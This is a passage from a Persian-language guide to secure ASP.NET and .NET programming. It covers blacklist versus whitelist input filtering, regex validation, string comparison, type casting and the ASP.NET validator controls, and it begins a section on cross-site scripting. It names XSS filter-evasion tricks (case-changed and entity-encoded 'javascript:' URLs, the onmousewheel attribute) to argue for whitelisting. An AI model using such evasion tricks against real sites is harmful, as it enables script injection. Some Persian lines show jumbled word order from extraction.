 کند.کشد، اما این روش همیشه خوب است و امنیت را تضمین میمی

 تصفیه ورودی 4-1-4

 تکنیک تصفیه ورودی: لیست سیاه 

های کاربر ظاهر گردد معقول به ورودی اجرای یک اعتبارسنجی توسط تعریف یک الگوی ممنوع که نباید در

ورودی با این الگو تطبیق یابد در این صورت  یرسد. منظور از الگوی ممنوع این است که اگر رشتهنظر می

درخواست  یتوان الگویی تعریف کرد که کاربر بتواند اجازهباشد. برای نمونه میرشته وارد شده نامعتبر می

url  به غیر از سفارشی با هر پروتکلیjavascript:  لیست سیاه»بندی طبقهرا داشته باشد. این نوع استراتژی» 

 نام دارد. روش لیست سیاه دو اشکال عمده دارد:

 ای که های مخرب، یک کار پیییده و دشوار است. نمونهدر واقع تعریف کردن همه رشته: پیچیدگي

قابل اجرا نیست، زیرا  urlدر  ":javascript"در بالا توضیح داده شد، از طریق جستجوی ساده رشته 

 "avascript;106#&"که حرف اول آن بزرگ است و یا  ":Javascript"هایی مثل ممکن است رشته

مرجع یک کاراکتر عددی کدگذاری شده است، در این جستجو یافت  صورتکه حرف اول آن به 

 نشوند.

 

 یافته باشد، ممکن است در مواجه با ویژگی حتی اگر یک لیست سیاه کامل توسعه : منسوخ شدن

دهد، شکست بخورد. برای نمونه، یک لیست جدید یک مرورگر که اجازه افزودن کد مخرب را می

 html5در  onmousewheelتوسعه یافته بود اما بعد از معرفی صفت  htmlسیاه برای اعتبارسنجی 

ین اشکال در توسعه وب بسیار قابل از طریق این صفت را بگیرد. ا xssنتوانست جلوی حملات 
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های مختلفی که به طور مداوم در حال بروزرسانی توجه است، چرا که صفحات وب از تکنولوژی

 هستند تشکیل شده است.

 شده است.ه بندی بر اساس لیست سیاه به شدت نهی به دلیل مشکلاتی که در بالا ذکر شد، استراتژی طبق

 تکنیک تصفیه ورودی: لیست سفید 

روش لیست سفید اساسأ برخلاف لیست سیاه است. در این روش به جای تعریف یک الگوی ممنوع، یک 

ای که با این الگو سنجد، در این صورت رشتههای ورودی را با آن میو رشته شدهتعریف  مجازالگوی 

 urlتوان الگویی تعریف کرد که به کاربر اجازه درخواست شود. برای نمونه میتطبیق نیابد نامعتبر شناخته می

که شامل پروتکل  urlباشد. در نتیجه هر  httpsو  httpدهد که فقط و فقط شامل پروتکل را می

"javascript:" چه به صورت  باشد("Javascript"  106#&"و چه به صورتavascript"  ظاهر

 شود.گردد( نامعتبر شناخته می

 مقایسه با لیست سیاه دو مزیت عمده دارد:این روش در 

 :های مخرب های امن عمومأ از تعریف کردن همه رشتهای از رشتهتعریف کردن مجموعه سادگي

های کاربر به مجموعه محدودی از تر است. صحیح بودن این مطلب، در شرایطی که ورودیآسان

سازی الگویی که است. برای مثال پیادهتوابع دردسترس یک مرورگر نیاز داشته باشد، بیشتر مشهود 

را معتبر تشخیص دهد بسیار ساده است و در اکثر شرایط  httpsو  httpهای شامل پروتکل urlفقط 

 . کندمینیاز کاربران را رفع 

 :های جدید به مرورگر منسوخ برخلاف لیست سیاه، این روش با اضافه شدن ویژگی طول عمر

را  titleفقط اجازه داشتن صفت  htmlهای لیست سفید که به المانشود. برای نمونه یک نمی

 ماند.، باز هم امن باقی میhtml5در  onmousewheelدهد، حتی با معرفی صفت می

 انجام اعتبارسنجي ورودی و تصفیه با استفاده از عبارات منظم 5-1-4

آدرس، شماره تلفن و دیگر  عبارات منظم راه حل مناسبی برای اعتبارسنجی فیلدهای متنی مانند: اسم،

 :شودمیاطلاعات کاربر هستند. از عبارات منظم برای انجام موارد زیر استفاده 

 ی قابل قبول برای کاراکترهای ورودیمحدود کردن بازه 
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 نیازمند  و غیره ملی، کد پستی فیلدها مانند کد یبندی، به عنوان مثال: الگوی اولیهاعمال قوانین قالب

 های ورودی هستند.صی برای کاراکترالگوی مخصو

 بررسی طول داده 

از کنترل  توانیدمیشما  کارگزارهای های دریافت شده با کنترلورودیبه منظور اعتبارسنجی  Asp.Netدر  

RegularExpressionValidator .استفاده کنید 

های و کنترل هاکوکی، QueryStringقادر خواهید بود برای اعتبارسنجی دیگر انواع ورودی مانند  چنینهم

 استفاده کنید.  System.Text.RegularExpressions.Regexاز کلاس  HTMLورودی 

   Regexو کلاس  RegularExpressionValidatorگیری از کنترل با بهره ASP.NETهای کاربردی برنامه

کنند. کنترل از عبارات منظم پشتیبانی می System.Text.RegularExpressions namespaceدرون 

RegularExpressionValidator های کنترل یرا در بخش مجموعهAsp.Net  توضیح خواهیم داد، در این

 .پردازیممی Regexبخش به معرفی کلاس 

  Regexکلاس استفاده از 

های دیگری مانند اعتبارسنجی ورودیاستفاده کنید و یا نیاز به جی ناعتبارسهای توانید از کنترلاگر نمی

 استفاده کنید.  Regexکلاستوانید از ها دارید، شما مییا کوکی QueryStringهای پارامتر

  System.Text.RegularExpressionsبه منظور ارجاع به   usingدستور اضافه کردن یک .1

 :شده است داده شانن زیر مثال در که گونه، همانRegexکلاس از  IsMatch تابعفراخوانی  .2

// Instance method: 

Regex reg = new Regex(@"^[a-zA-Z'.]{1,40}$"); 

Response.Write(reg.IsMatch(txtName.Text)); 

// Static method: 

if (!Regex.IsMatch(txtName.Text,@"^[a-zA-Z'.]{1,40}$")) 

{ 

  // Name does not match schema 

} 

 کند، استفادهجلوگیری می غیرضروری شی از ایجاد که IsMatchاستاتیک  تابع، باید از به دلیل عملکرد بهتر

 .شود
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 هاآنها و مقایسه کار با رشته 6-1-4

 و های داخلی بسیاری را به منظور تسهیل کردن امر مقایسهتابع نتچارچوب دات از String کلاس

یک رشته یا ایجاد رشته جدید با  اطلاعات در موردحاضر دریافت  حال کند. درمی ها فراهمرشته کاریدست

 کاریدست و برای مقایسه تابعچندین  نتچارچوب داتبدیهی است.  موجود، امری هایرشته کاریدست

 اند.ها شرح داده شدهرشته های مقداردهی و مقایسه برایتابع زیر کند. در جدولمی ها فراهمرشته

 هاهای مقداردهي و مقایسه رشتهتابع: 1-4جدول 

 تابعنام  استفاده

 String.Compare عدد صحیح مقدار یک بازگرداندن .رشته دو مقادیر مقایسه

 String. CompareOrdinal عدد صحیح مقدار یک و بازگرداندن فرهنگ محلی به توجه بدون رشته دو مقایسه

 String.CompareTo عدد صحیح مقدار یک ای دیگر. بازگرداندنای با رشتهرشته شیمقایسه یک 

، شودمیای که به عنوان ورودی به تابع داده موردنظر با رشته رشته آیا کهاین تعیین

 بولین. مقدار یک شود یا خیر. بازگرداندنشروع می

String.StartsWith 

شود، ای که به عنوان ورودی به تابع داده میرشتهموردنظر با  رشته آیا کهاین تعیین

 بولین. مقدار یک یابد یا خیر. بازگرداندنپایان می

String.EndsWith 

 String.Equals بولین. مقدار یک دو رشته با هم برابرند یا خیر. بازگرداندن آیا کهاین تعیین

، موردنظربازگرداندن موقعیت کاراکتر یا رشته، با شروع شمارش از ابتدای رشته 

 عدد صحیح. مقدار یک بازگرداندن

String.IndexOf 

، موردنظربازگرداندن موقعیت کاراکتر یا رشته، با شروع شمارش از انتهای رشته 

 عدد صحیح. مقدار یک بازگرداندن

String.LastIndexOf 

کند. کاراکتر ورودی تابع به عنوان عامل تولید می charها با نوع دهای از داآرایه

 شود.جداکننده استفاده می

String.Split 
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 چنینهم .کاراکتری مشخص موقعیت از شروع با رشته یک از زیررشته یک تولید

 .کنید مشخص رشته را طول توانیدمی

String.Substring 

 در رشته را یک یا اراکترک یک توانیدمی رشته.مشخصی از یک  مکان در متن درج

 مشخص درج کنید. مکان یک

String.Insert 

 رشته یا کاراکتر یک با هاآنجایگزین کردن  و رشته یک از کاراکترهایی حذف

 .جدید

String.Replace 

ساده  هایتوصیه این دهید،خود را توسعه می صفحات وب نتچارچوب دات با استفاده از شما که هنگامی

 ها به کار گیرید:رشته از استفاده هنگام را

 از استفاده StringComparison.Ordinal یا StringComparison.OrdinalIgnoreCase برای 

 .ی با فرهنگ نامشخصرشته تطبیق برای امن یفرضپیش عنوان به ها،مقایسه

 ها بامقایسه از استفاده StringComparison.Ordinal یا StringComparison.OrdinalIgnoreCase 

 .بهتر عملکرد برای

  ای که بر مبنای رشتهعملیات استفاده ازStringComparison.CurrentCulture   هستند، زمانی که

 خروجی را برای کاربر به نمایش بگذارید. خواهیدمی

 روش از استفاده String.ToUpperInvariant روش جای به String.ToLowerInvariant که زمانی 

 کنید.سازی میمقایسه نرمال برای ها رارشته شما

 روش از استفاده String.Equals هستند برابر هم با رشته دو آیا کهاین آزمون برای. 

 های روش استفاده ازString.Compare و String.CompareTo عدم و  «هارشته کردن مرتب» برای

  تساوی دو رشته.ها برای بررسی تابعاستفاده از این 

 در تاری ، و اعداد مانند ای،رشتهغیر هایداده نمایش ، برایبندی حساس به فرهنگقالبستفاده از ا 

 کاربری.  رابط یک
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 :اجتناب کنید هارشته از استفاده زیر هنگام هایشیوه از

 ها عملیات رشتهها برای های مقایسه رشتهضمنی روش طور یا به که صریحاً 1هاییگذاریاز سربار

 .، استفاده نکنیدکنندمینرا مشخص 

 مبنای که بر ایدر اکثر موارد از عملیات رشته StringComparison.InvariantCulture  هستند

 . نکنیداستفاده 

 روش از حد از عدم استفاده بیش String.Compare یا CompareTo  برای یک مقدار بازگشتی صفر

 هستند یا خیر. برابر هم با رشته دو آیا کندمی که تعیین

 ای در رشتههای غیربه منظور اصرار بر نمایش دادهحساس به فرهنگ بندی عدم استفاده از قالب

 ای.های رشتهقالب داده

 تبدیل انواع داده 7-1-4

تبدیل داده راه حل مناسبی برای اعتبارسنجی فیلدهایی است که باید دارای یک نوع مشخص براساس نیاز 

تواند می integerدهنده وب باشند. برای مثال شماره تلفن باید تنها دربرگیرنده یک عدد بوده و نوع توسعه 

 ورودی شماره تلفن به نوع عددی نباید با خطا روبرو گردد. از یبرای آن مناسب باشد، بنابراین تبدیل رشته

تواند دوباره یک متغیر، آن متغیر نمی است، بعد از تعریفدارای انواع ایستا  ، در زمان کامپایل#Cکه  جاآن

ها استفاده شود مگر آنکه آن نوع قابل تبدیل به نوع متغیر به منظور ذخیره مقادیر دیگر نوع تعریف گردد و یا

 باشد.

را به  iکه شما ندارد. بنابراین، زمانی وجود دلخواه رشته یک صحیح به عدد یک از تبدیلی برای مثال، هیچ

 را به آن اختصاص دهید. "Hello"یرشتهتوانید کنید، دیگر نمیاعلام می صحیح عددعنوان یک 

 نوع از تابعپارامتر  یا متغیر یک به مقدار یک کردن کپی به نیاز است ممکن اوقات گاهی شما حال، این با

داشته باشید و بخواهید آن را  عددصحیح متغیر از نوع یک است شما برای مثال، ممکن دیگری داشته باشید.

را به  کلاسارسال کنید. یا ممکن است نیاز داشته باشید که یک متغیر  doubleبا پارامتر از نوع  تابعبه یک 

                                                   

 

 

1 Overload 
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 توانیدمی شما #C در. شودمی نامیده نوع تبدیل عملیات از نوع اختصاص دهید. این واسطیک متغیر در نوع 

 دهد. انجام را تبدیلات زیر مطابق با

 :هیچ است و امن چرا که در این حالت تبدیل نیست موردنیاز خاصی اقدام هیچ تبدیل ضمني 

 بزرگترعدد صحیح کوچکتر به عدد صحیح نخواهد رفت. به عنوان مثال، تبدیل  دست از اطلاعاتی

 های پایه.های مشتق شده به کلاستبدیل کلاس و

بایت بر  int (4یک متغیر هر مقداری که تواند بایت( می 8) longیک متغیر نوع در به عنوان مثال، 

 ضمنی، طور به کامپایلر زیر، مثال ذخیره شود. در تواند ذخیره کند،می بیتی(32روی کامپیوترهای 

اختصاص دهد، طبق  است( long)که از نوع  bigNumراست را به  سمت پیش از آنکه ارزش

 .کرده است تبدیل long نوع یک دستور قبل آن را به

// Implicit conversion. num long can 

// hold any value an int can hold, and more! 

int num = 2147483647; 

long bigNum = num;               

 

 ( تبدیل صریحcast :) تبدیل صریح به یک عملگرCast  .برای مواقعی که  تبدیل نوعنیاز دارد

ممکن است داده در هنگام تبدیل از دست برود و یا عمل تبدیل به هر دلیلی به درستی انجام نگیرد، 

های رایج عبارتند از: تبدیل یک نوع عددی به یک نوعی که دارای دقت است. نمونه موردنیاز

 کلاس مشتق شده.  تبدیل یک نمونه کلاس پایه به ی آن کوچکتر است وکمتری است و یا محدوده

به هر حال اگر یک تبدیل نتواند اطلاعات را بدون خطر از دست دادن تولید کند، کامپایلر به یک 

ای را ، نوع اولیهتبدیل نوع. انجام یک شودمینامیده  تبدیل نوعتبدیل صریح نیاز دارد که این عمل 

 کند.ل، تعیین میکردن آن به نوع جدید هستید را برای تبدی تبدیلکه شما در حال 

کامپایل نخواهد  تبدیلاین برنامه بدون  کند.می تبدیل، intرا به  doubleبرنامه زیر یک متغیر از نوع 

 شد.

class Test 

{ 

 static void Main() 

     { 

         double x = 1234.7; 

         int a; 

         // Cast double to int. 

         a = (int)x; 

         System.Console.WriteLine(a); 
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     } 

} 

// Output: 1234 

 های مخصوصی تابعشده توسط کاربر، به وسیله تعریفتبدیل شده توسط کاربر: تعریفهای تبدیل

را که فاقد  خاصهای های صریح و ضمنی بین نوعسازد تا تبدیلشود که شما را قادر میانجام می

 کلاس پایه هستند، تعریف کنید.-مشتق شده یک رابطه طبقاتی کلاس

 برای تبدیل بین انواع ناسازگار، مانند  :های کمکيتبدیل با استفاده از کلاسinteger  های شیو

System.DateTime کلاس  توانید ازهایی از بایت، میهای هگزادسیمال و آرایهرشتهیا  و

System.BitConverter  از کلاس  توانیدمی چنینهماستفاده کنید وSystem.Convert   های تابعو

Parse های عددی وجود دارد، مانند: نویسی برای نوعکه در ساختار داخلی خود زبان برنامه

Int32.Parse .بهره ببرید 

ها را به منظور انجام عمل تبدیل تابعیک مجموعه کامل از   System.Convertبرای مثال: کلاس 

 انواع تبدیل برای مختلف هایمختلف ممکن است روش هایزبان که کند. درحالیها فراهم میداده

عمومی  قالب یک های رایج، درکند که تمامی تبدیلتضمین می  Convertکلاس داشته باشند،  داده

ها، محدود کردن کلاس مواردی از جمله: بسط دادن تبدیل خواهد بود. این موجود و در دسترس

 کند.نامربوط را فراهم می هایداده انواع به تبدیل ینچنهمها و تبدیل

 استثنا در تبدیل نوع در زمان اجرا 

تواند تعیین کند. ممکن است که یک ها را نمیتبدیلدر برخی از تبدیل انواع، کامپایلر معتبر بودن یا نبودن 

مواجه شود. در نتیجه به  شکست در هنگام کامپایل به درستی انجام شود اما در زمان اجرا با تبدیلعملیات 

دو  #C. رخ خواهد داد InvalidCastExceptionدر زمان اجرا، یک  تبدیلعلت عدم موفقیت یک نوع 

دهد تا سازگاری را قبل از انجام واقعی یک تبدیل کند که به شما امکان میرا فراهم می asو  isعملگر 

 بررسی کنید.

 ASP.Netهای اعتبارسنجي کنترل 8-1-4

 ASP.Netهای اعتبارسنجي کنترل همجموع 

که اینجا نشان داده شده را  IValidator ههای معمولی هستند ککنترل asp.net اعتبارسنجیهای ی کنترلهمه

 :کنندسازی میپیادهاست، 



  نتنویسي امن در داتبرنامه 

100 

 

 
 

public interface IValidator 

{ 

void Validate(); 

string Error Message { get; set; } 

bool IsValid { get; set; } 

} 

را Validate تابعو یک  IsValidو  ErrorMessageدو ویژگی IValidator واسط بینیدمیطور که همان

ی گیرد خودش را به مجموعهبر روی یک صفحه قرار می اعتبارسنجیزمانی که یک کنترل کند. تعریف می

آورد که در بین مجموعه را فراهم می Validate تابعیک  Pageکند. کلاس صفحه اضافه می هایاعتبارسنج

برای هر  ()Validate تابعکند. فراخوانی می نام شده راکند هر کنترل ثبتحرکت می های اعتبارسنجکنترل

کنترل هرآنیه که در منطق اعتبارسنج آن نوشته شده ارزیابی کرده و با توجه به نتیجه حاصل شده مقادیر 

ErrorMessage  وIsValid استاندارد دارای یک ویژگی  اعتبارسنجیهای . هر یک از کنترلکندمیین را تعی

ControlToValidate  هایی که خواهان اعتبارسنجی هستند ضمیمه هستند که به کنترل اعتبارسنج ورودی

 .کندمی

شوند، یک خصوصیت در صفحه می PostBackکه باعث ایجاد یک  Asp.Netهای کنترل

CausesValidation ند که زمانی که با مقدار دارTrue  تنظیم شود، باعث ایجاد یکPostBack  در صفحه

 CausesValidationبرای خصوصیت   Trueها( یک مقدار پیش فرضها )مانند دکمهشود. برخی از کنترلمی

شوند( این نمی PostBackیی که به طور خودکار باعث ایجاد یک هاآنها )به طور کلی دارند، مابقی کنترل

 را ندارند. فرضپیشمقدار 

شود در عوض خصوصیت شود، پردازش صفحه متوقف نمیزمانی که اعتبارسنجی با شکست مواجه می

ISValid  برای صفحه با مقدارfalse دهنده، ی کاربر است که به عنوان یک توسعهشود. این بر عهدهتنظیم می

میم بگیرد که در ادامه چه چیزی اجرا شود. اگر را چک کند و بر طبق آن تص  ISValidخصوصیت 

یک  ،صفحه تلاش کند ISValidبه هیچ عنوان اتفاق نیفتد و کاربر برای چک کردن خصوصیت  اعتبارسنجی

 استثنا رخ خواهد داد.

 ها از برخی خواص مشترک اضافی برخوردارند: هر کدام از کنترل

 ControlToValidateصه یا : این خاصیت دربرگیرنده مشخID  کنترلی مانندTextBox  و یا غیره 

 است که باید مقدار ورودی آن توسط این کنترل اعتبارسنجی شود.

 EnableClientScript : زمانی که مقدار این کنترل بهFalse اعتبارسنجی سمت  ،تنظیم شده باشد

 . شودانجام میهنگام ارسال صفحه برای کارگزار باریکاعتبارسنجی فقط دهد و رخ نمی کارخواه



 های مدیریت محتواهای سیستمپذیریهای سازماني و کشف آسیبسازی پرتالخدمات مشاوره در حوزه امن 

101 

 

 
 

 SetFocusOnError هنگامی که مقدار با :True نما در اولین فیلدی که از نظر تنطیم شود مکان

 گیرد.اعتبارسنجی با شکست مواجه شده باشد جای می

 Display تواند یکی از دهد. این خصوصیت میی نمایش پیغام خطا را نشان مینحوه: این کنترل

 :مقادیر زیر را داشته باشد

o None.پیغام خطا هرگز نشان داده نشود : 

o Static همیشه یک فضای خالی برای نمایش پیغام خطا در صفحه در نظر گرفته شده :

 است.

o Dynamicشود که : فضای خالی برای نمایش پیغام خطا تنها زمانی در نظر گرفته می

 با شکست مواجه شود و پیغام خطا نشان داده شود. اعتبارسنجی

 ValidationGroup: های درون یک صفحه را همراه با دهد تا کنترلبه کاربر اجازه می این خاصیت

ی دارای های منطقی جای دهد. زمانی که یک دکمههای جداگانه برای ارسال فرم درون گروهدکمه

که مقدار خاصیت  اعتبارسنجیهای این خصوصیت کلیک شود هر کدام از کنترل

ValidationGroup با مقدار هاآنValidationGroup شوند.این دکمه برابر باشد اعتبارسنجی می 

 کنترل اعتبارسنجي فیلد الزامي 

RequiredFieldValidator  کند که مقدار ورودی برای کنترل مدنظر متفاوت از مقدار اولیه آن بررسی می

این کنترل تضمین  ،شود اعمال می TextBoxترین حالت زمانی که این مشخصه برای یک باشد. در ساده

 طور که در اینجا بدان اشاره شده است:مربوطه خالی نباشد. همان TextBoxکند که می

Name: <asp:TextBox runat="server" ID="name"> </asp:TextBox > 

<asp:RequiredFieldValidator ID="nameRequired" runat="server" 

ErrorMessage="You must enter your name" ControlToValidate="name" 

Display="Dynamic" Text="*" / > 

ها و یا منوهای کشویی نیز اضافه شود. در این مجموعه listboxبه علاوه ممکن است این کترل به 

شود تا کاربر ملزم به انتخاب تنظیم می اعتبارسنجی)مقدار اولیه( روی این کنترل  InitialValueخصوصیت 

 طور که در اینجا نشان داده شده است :ها باشد. هماند موجود در این لیستیکی از موار

<asp:DropDownList runat="server" ID="county"> 

<asp:ListItem Selected="True">Select a county</asp:ListItem > 

<asp:ListItem>Antrim</asp:ListItem > 

<asp:ListItem>Armagh</asp:ListItem > 

<asp:ListItem>Down</asp:ListItem > 

<asp:ListItem>Fermanagh</asp:ListItem > 

<asp:ListItem>Londonderry</asp:ListItem > 

<asp:ListItem>Tyrone</asp:ListItem > 
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</asp:DropDownList > 

<asp:RequiredFieldValidator runat="server" ID="requiredCounty" 

InitialValue="Select a county" ControlToValidate="county" 

ErrorMessage="You must select a county" Text="*" / > 

اگرچه فاقد مقدار نباشد. ) هاآنی هاتنها زمانی اجرا خواهند شد که کنترل های دیگراعتبارسنجتمام 

وم بر روی ای پیکربندی شوند که در صورت لزممکن است به گونه CustomValidatorهای کنترل

 های فاقد مقدار نیز اجرا شوند.(کنترل

 استفاده شود. RequiredFieldValidatorاگر پرکردن فیلدهای یک فرم اجباری باشند باید از کنترل 

 کنترل اعتبارسنجي بازه 

RangeValidator   کند که مقدار وارد شده برای یک کنترل با نوع بازه بررسی می اعتبارسنجییا کنترل

(Currency ,Date, Double ,Integer, Stringباید در محدوده )آن  فرضپیش. مقدار ی تعیین شده باشد

 .باشدای میرشته

 باشد. 30و  18بین اعداد  TextBoxکه مقدار وارد شده برای  کندمیبررسی  اعتبارسنجیدر مثال زیر  

<asp:TextBox runat="server" ID="age" /> 

<asp:RangeValidator runat="server" ID="ageRange" ControlToValidate="age" 

MinimumValue="18" MaximumValue="30" 

Type="Integer" ErrorMessage="You must be between 18 and 30." Text="*" / > 

 سنجي مقایسهاعتبارکنترل  

CompareValidator  های دیگر مقایسه مقایسه، مقدار یک کنترل را با مقادیر کنترل اعتبارسنجییا کنترل

ای بررسی کند و به گونهکند. به علاوه این کنترل بررسی انواع داده نسبت به یکدیگر را نیز فراهم میمی

ها نسبت به یکدیگر مساوی، بزرگتر، بزرگتر مساوی، کوچکتر، کوچکتر مساوی و یا کند که آیا دادهمی

 اند.نامساوی

 مقایسه شده است. "Yes"در برابر مقدار  Textboxدر مثال زیر محتوای وارد شده برای 

<asp:TextBox runat="server" ID="confirm" /> 

<asp:CompareValidator runat="server" ID="confirmValidator" 

ControlToValidate="confirm" ValueToCompare="yes" Type="String" 

Operator="Equal" ErrorMessage="Enter yes to continue" Text="*" /> 

ی کلمهاگر کاربر تنها بخواهد مقادیر وارد شده برای دو کنترل را با یکدیگر مقایسه کند )برای مثال :تغییر 

آن را با  operatorرا با مقدار مناسب تنظیم کند و خصوصیت  ControlToCompare( باید خصوصیت عبور

 طور که در مثال زیر نشان داده شده است :مقداردهی کند. همان Equal مقدار

<asp:TextBox runat="server" ID="password" TextMode="Password" /> 
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<asp:TextBox runat="server" ID="passwordConfirmation" TextMode="Password" 

/> 

<asp:CompareValidator runat="server" ID="passwordValidator" 

ControlToValidate="password" ControlToCompare="passwordConfirmation" 

Operator="Equal" ErrorMessage="Passwords do not match" Text="*" />  

ی خاص ی وارد شده توسط کاربر با یک نوع دادهدادهدهنده بخواهد بررسی کند که اگر کاربر توسعه

مقداردهی کند و سپس  DataTypeCheckرابا مقدار  Operatorمطابقت داشته باشد، باید خصوصیت 

عدد صحیح و یا رشته مقداردهی کند.  ،تاری  ،روی آن کنترل را با یکی از مقادیر ارز Typeخصوصیت 

 طور که در مثال زیر نشان داده شده است:همان

<asp:TextBox runat="server" ID="anInteger" /> 

<asp:CompareValidator runat="server" ID="integerValidator" 

ControlToValidate="anInteger" Operator="DataTypeCheck" Type="Integer" 

ErrorMessage="You must enter an integer" Text=" * " / > 

 

 کنترل اعتبارسنجي عبارت منظم 

RegularExpressionValidator کنترل اعتبارسنجی عبارت منظم، مقدار ورودی یک کنترل را با عبارت  یا

 دهد.تطبیق می ،تنظیم شده است ValidationExpressionمنظم که در خصوصیت 

و  سایتوب، آدرس عبارات منظم که شامل آدرس ایمیل در حالت طراحی ویژوال استادیو لیست مشترکی از

کند. به خاطر داشته باشید که عبارت منظم یک تطبیق فراهم می ی منتخبکد پستی مختلف برای کشورها

مناسب با آن  اعتبارسنجی الگوی ساده است. به عنوان مثال اگر کاربر منتظر دریافت یک کدپستی است باید

 طور که در زیر نشان داده شده است:را انجام دهد. همان

<asp:TextBox runat="server" ID="zipcode" /> 

<asp:RegularExpressionValidator runat="server" ID="validateZipcode" 

ControlToValidate="zipcode" ValidationExpression="\d{5}(-\d{4})?" 

ErrorMessage="Please enter a valid zipcode" Text="*" / >  

 کنترل اعتبارسنجي خاص )سفارشي( 

CustomValidator خود مناسب و  وکارکسبکه برای  اعتبارسنجیهای دهد تا کنترلبه کاربر اجازه می

تواند از خاصیت ، کاربر میکارگزارمنطقی است را ایجاد کند. برای اجرا کردن یک اعتبارسنجی سمت 

ServerValidate  از طریق  کارخواههای سمت اعتبارسنجیاستفاده کرده و برای اضافه شدن به

 تعریف کند. ClientValidationFunctionبع در خصوصیت تواند یک تاجاوااسکریپت می
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مشخص کند که حتی در  Trueبا مقدار  ValidateEmptyTextخصوصیت  بهتواند با مقداردهی کاربر می

 انجام شود. اعتبارسنجیصورت خالی بودن مقدار کنترل 

 SenderValidateEventArgsی چیزهایی که بدان نیاز دارند را در پارامتر همه کارگزارهای سمت رویداد

است که شامل مقدار کنترلی است که باعث ایجاد  Valueکند. این پارامتر دارای خصوصیت دریافت می

ی تواند آن را بسته به نتیجهاست که کاربر می IsValidدارای خصوصیت  چنینهمشود. اعتبارسنجی می

 IsValidیمات ظتندهی کند. بهترین حالت برای دارمق Falseو یا   Trueخود با مقدار  اعتبارسنجیحاصل از 

 تنظیم شود. Trueتنظیم شود و بعد از اعتبارسنجی موفق به مقدار  Falseست که در آغاز کد با مقدار ا این

 دهد.شده برای آن نشان مینوشتههای سفارشی اعتبارسنجیبه عنوان مثال کد زیر یک فیلد را به همراه 

<asp:TextBox runat="server" ID="quantity" /> 

<asp:CustomValidator runat="server" ID="validateQuanity" 

ValidateEmptyText="false" ControlToValidate= "quantity" 

OnServerValidate="OnValidateQuantity" 

ErrorMessage="Quantities must be divisable by 10" Text="*" / > 

 باشد:های سفارشی چیزی شبیه شکل زیر میکنترلبرای  کارگزارکدهای سمت 

protected void OnValidateQuantity(object source, 

ServerValidateEventArgs args) 

{ 

   args.IsValid = false; 

   int value; 

   if (int.TryParse(args.Value, out value)) { 

      if (value % 10 == 0){ 

         args.IsValid = true; 

      } 

   } 

} 

 نیز همان استدلال مشابه را دارند: کارخواهتوابع سمت 

>script language="javascript"> 

function validateQuantity(source, args) { 

   args.IsValid = false; 

   if (args.Value % 10 == 0) { 

      args.IsValid = true; 

   } 

} 

>/script> 

 

روی کنترل  ClientValidationFunctionکاربر باید خصوصیت  کارخواهسمت  اعتبارسنجیبرای فعال کردن 

 کند. مانند زیر:یم ظتناعتبارسنجی سفارشی 

<asp:TextBox runat="server" ID="quantity" /> 
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<asp:CustomValidator runat="server" ID="validateQuanity" 

ValidateEmptyText="false" 

OnServerValidate="OnValidateQuantity" 

ClientValidationFunction="validateQuantity" 

ControlToValidate= "quantity" 

ErrorMessage="Quantities must be divisable by 10" Text="*" / > 

 

 کنترل خلاصه اعتبارسنجي 

نشان داده شود،  ValidationSummaryتواند در کنترل که می ErrorMessageعلاوه بر خصوصیت 

توان برای هستند. این ویژگی را می  Textدارای یک خصوصیت  Asp.Netهای استاندارد اعتبارسنجی کنترل

. به عنوان مثال کد زیر یک به کار بردگر بصری در کنار یک فیلد فرم که تایید نشده است نمایش یک نشان

 دهد.را نشان می اعتبارسنجیی اعتبار و کنترل خلاصهاست که  یاعتبارسنجنمایش از 

<form id="form1" runat="server"> 

<asp:ValidationSummary ID="validationSummary" runat="server" / > 

Name: <asp:TextBox runat="server" ID="name"></asp:TextBox > 

     <asp:RequiredFieldValidator ID="nameRequired" runat="server" 

ErrorMessage="You must enter your name" ControlToValidate="name" 

Display="Dynamic" Text=" * " / ><br/>  

Email: <asp:TextBox runat="server" ID="email" / > 

<asp:RequiredFieldValidator ID="emailRequired" runat="server"  

ErrorMessage="You must enter your email" 

ControlToValidate="email" Display="Dynamic" Text=" * " / > 

<asp:RegularExpressionValidator ID="emailValidator"  

runat="server" 

ErrorMessage="Your email address does not appear to be valid"  

Text="*" 

ValidationExpression="\w+([-+.']\w+)*@\w+([-.]\w+)*\.\w+([- 

.]\w+)*"  

ControlToValidate="email"> 

</asp:RegularExpressionValidator > 

<asp:Button runat="server" ID="submit" Text="Submit" 

OnClick="submit_OnClick"/ > 

</form>  

 حملات به کنترل اعتبارسنجي ۲-4

 (XSSسایتي )بیننویسي حمله اسکریپت 1-۲-4

تواند شود که در آن مهاجم میتزریق کد از سمت کاربر اطلاق می یسایتی به حملهبیننویسی اسکریپت

و یا یک  سایتوب( درون یک شودمیمخرب هم گفته  بار هاآنهای مخرب را )که معمولاً به اسکریپت

به شمار  وبتحتهای برنامه هایپذیریترین آسیبشایعیکی از  XSS، به اجرا درآورد. وبتحت یبرنامه
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پیوندد که برنامه از ورودی غیرمعتبر یا کدگذاری نشده کاربر در خروجی تولید آمده و هنگامی به وقوع می

 نماید.شده، استفاده می

 سایتوبپذیر در یک دهد بلکه از نقاط آسیب، مهاجم مستقیماً قربانی را مورد هدف قرار نمیXSSدر نفوذ 

 کند. در این نوع حمله،گیرد، استفاده می، که توسط قربانی مورد بازدید قرار میوبتحت یمهو یا یک برنا

 انتقال برای رساندن اسکریپت مخرب به مرورگر قربانی است.  یپذیر، وسیلهآسیب سایتووب

 آید(میامروزه قدیمی و یا حتی منسوخ به حساب  کهاین)با  Flashو  VBScript، ActiveX توانمی XSSبا 

ترین هدف این حملات است چرا که را مورد تهاجم قرار داد، اما بدون تردید جاوا اسکریپ بیشترین و مهم

 ست.ا هابیشتر مرورگر یجاوا اسکریپت پایه

ای از را در صفحه بار بایست راهی بیابد تابه منظور اجرای کد جاوا اسکریپت مخرب در مرورگر، مهاجم می

کند، وارد نماید. البته مهاجمین برای متقاعد کردن یک کاربر برای بازدید از وب که قربانی از آن بازدید می

های مهندسی افکار عمومی جاوا اسکریپت در آن قرار داده شده است، از روش بارکه  پذیریآسیب یحهفص

 کنند.استفاده می

بایست، مستقیماً شامل ورودی کاربر، در صفحات پذیر میآسیب سایتوب، XSSبرای اجرا شدن یک حمله 

 و وب مورد استفاده قرار گرفته یای را وارد کند که در صفحهتواند رشتهخود باشد. به این ترتیب مهاجم می

 در مرورگر قربانی به عنوان یک کد در نظر گرفته شود. 

وب مورد  یها در یک صفحهشود، برای نمایش آخرین کامنتمیکه در زیر مشاهده  کارگزارسمت  کدشبه

 گیرد :میاستفاده قرار 

